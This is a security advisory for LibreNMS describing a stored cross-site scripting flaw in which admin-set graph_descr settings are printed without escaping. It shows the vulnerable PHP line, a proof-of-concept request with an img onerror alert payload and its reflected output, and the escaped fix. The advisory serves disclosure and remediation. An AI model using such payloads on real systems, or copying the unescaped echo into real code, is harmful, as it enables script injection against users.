Packagist · librenms/librenms
LibreNMS: Stored XSS via graph_descr admin config settings echoed without escaping to all authenticated users
The graph_descr.<graphtype> family of settings is echoed verbatim without htmlspecialchars() in includes/html/pages/graphs.inc.php:194. Any admin can store a malicious HTML payload that executes in every authenticated user's browser viewing that graph type.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N — 4.8 Medium
// graphs.inc.php:194
echo LibrenmsConfig::get('graph_descr.' . $vars['type']);
PUT /settings/graph_descr.device_processor
{"value": "<img src=x onerror=\"alert('ADV-15')\">"}
GET /graphs?type=device_processor
→ <img src=x onerror="alert('ADV-15')">
echo htmlspecialchars(LibrenmsConfig::get('graph_descr.' . $vars['type']), ENT_QUOTES, 'UTF-8');
Admin session to set the config value.
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Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.